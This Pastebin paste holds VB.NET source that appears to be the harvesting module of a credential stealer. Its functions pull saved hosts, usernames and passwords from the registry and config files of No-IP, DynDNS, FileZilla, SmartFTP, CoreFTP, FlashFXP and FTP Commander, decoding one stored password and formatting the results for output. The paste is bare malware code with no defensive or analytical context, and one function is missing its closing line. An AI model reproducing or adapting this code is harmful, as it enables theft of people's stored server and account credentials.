Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Function NoIP() As String
- Dim sHost As String = Replace(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\Hosts"), "#,", "")
- Dim sUser As String = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\Username")
- Dim sPwd As String = FromBase64(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\Password"))
- sHost = Replace(sHost, ",", vbNewLine)
- sHost = Replace(sHost, "|", vbNewLine)
- If Not sPwd = "" Then
- NoIP = "Hosts:" & vbNewLine & sHost & vbNewLine & "User: " & sUser & vbNewLine & "Pwd: " & sPwd
- Else
- NoIP = "Nothing is saved!"
- End If
- End Function
- Function DynDNS() As String
- Dim sPath As String = Replace(Environ$("APPDATA"), Environ$("Username"), "All Users") & "\DynDNS\Updater\config.dyndns"
- Dim sFile As String = ReadFile(sPath)
- Dim sHost As String = Cut(sFile, "[Hosts]", "Count=")
- Dim sUser As String = Cut(sFile, "Username=", vbNewLine)
- Dim sPwd As String = Cut(sFile, "Password=", vbNewLine)
- If Not sPwd = "" Then
- DynDNS = "Hosts:" & sHost & vbNewLine & "User: " & sUser & vbNewLine & "Pwd: " & sPwd & " (Encrypt)"
- Else
- DynDNS = "Nothing is saved!"
- End If
- End Function
- Function FileZilla() As String
- Dim sPath As String = Environ$("APPDATA") & "\FileZilla\sitemanager.xml"
- Dim sFile As String = ReadFile(sPath)
- Dim sHost As String = Cut(sFile, "<Host>", "</Host>")
- Dim sPort As String = Cut(sFile, "<Port>", "</Port>")
- Dim sUser As String = Cut(sFile, "<User>", "</User>")
- Dim sPwd As String = Cut(sFile, "<Pass>", "</Pass>")
- Dim sEntry As String = Cut(sFile, "<Name>", "</Name>")
- If Not sUser = "" Then
- FileZilla = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd
- Else
- FileZilla = "Nothing is saved!"
- End If
- End Function
- Function SmartFTP() As String
- Dim sPath As String = Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\" & Dir(Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml")
- Dim sFile As String = ReadFile(sPath)
- Dim sHost As String = Cut(sFile, "<Host>", "</Host>")
- Dim sPort As String = Cut(sFile, "<Port>", "</Port>")
- Dim sUser As String = Cut(sFile, "<User>", "</User>")
- Dim sPwd As String = Cut(sFile, "<Password>", "</Password>")
- Dim sEntry As String = Cut(sFile, "<Name>", "</Name>")
- If Not sUser = "" Then
- SmartFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
- Else
- SmartFTP = "Nothing is saved!"
- End If
- End Function
- Function CoreFTP() As String
- Dim sPath As String = Environ$("APPDATA") & "\CoreFTP\sites.idx"
- Dim sFile As String = Left(ReadFile(sPath), 1)
- Dim sHost As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Host")
- Dim sPort As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Port")
- Dim sUser As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\User")
- Dim sPwd As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\PW")
- Dim sEntry As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Name")
- If Not sUser = "" Then
- CoreFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
- Else
- CoreFTP = "Nothing is saved!"
- End If
- End Function
- Function FlashFXP() As String
- Dim sPath As String = Replace(Environ$("APPDATA"), Environ$("Username"), "All Users") & "\FlashFXP\" & "3" & "\quick.dat"
- Dim sFile As String = ReadFile(sPath)
- Dim sHost As String = Cut(sFile, "IP=", vbNewLine)
- Dim sPort As String = Cut(sFile, "port=", vbNewLine)
- Dim sUser As String = Cut(sFile, "user=", vbNewLine)
- Dim sPwd As String = Cut(sFile, "pass=", vbNewLine)
- Dim sEntry As String = Cut(sFile, "created=", vbNewLine)
- If Not sUser = "" Then
- FlashFXP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
- Else
- FlashFXP = "Nothing is saved!"
- End If
- End Function
- Function FtpCommander() As String
- Dim sPath As String = Replace(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander\UninstallString"), "uninstall.exe", vbNullString) & "Ftplist.txt"
- Dim sFile As String = ReadLine(sPath, -1)
- Dim sHost As String = Cut(sFile, ";Server=", ";Port=")
- Dim sPort As String = Cut(sFile, ";Port=", ";Password=")
- Dim sUser As String = Cut(sFile, ";User=", ";Anonymous=")
- Dim sPwd As String = Cut(sFile, ";Password=", ";User=")
- Dim sEntry As String = Cut(sFile, "Name=", ";Server=")
- If Not sUser = "" Then
- FtpCommander = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd
- Else
- FtpCommander = "Nothing is saved!"
- End If
- Function ReadFile(ByVal sFile As String) As String
- On Error Resume Next
- Dim OpenFile As New System.IO.StreamReader(sFile)
- ReadFile = OpenFile.ReadToEnd.ToString
- End Function
- Function Cut(ByVal sInhalt As String, ByVal sText As String, ByVal sText2 As String) As String
- On Error Resume Next
- Dim c() As String
- Dim c2() As String
- c = Split(sInhalt, sText)
- c2 = Split(c(1), sText2)
- Cut = c2(0)
- End Function
- Function RegRead(ByVal hKey As String) As String
- Dim wshShell As Object = CreateObject("WScript.Shell")
- On Error Resume Next
- RegRead = wshShell.RegRead(hKey)
- End Function
- Public Function ReadLine(ByVal filename As String, _
- ByVal line As Integer) As String
- Try
- Dim lines As String() = My.Computer.FileSystem.ReadAllText( _
- filename, System.Text.Encoding.Default).Split(vbCrLf)
- If line > 0 Then
- Return lines(line - 1)
- ElseIf line < 0 Then
- Return lines(lines.Length + line - 1)
- Else
- Return ""
- End If
- Catch ex As Exception
- Return ""
- End Try
- End Function
- Public Function FromBase64(ByVal sText As String) As String
- Dim nBytes() As Byte = System.Convert.FromBase64String(sText)
- FromBase64 = System.Text.Encoding.Default.GetString(nBytes)
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement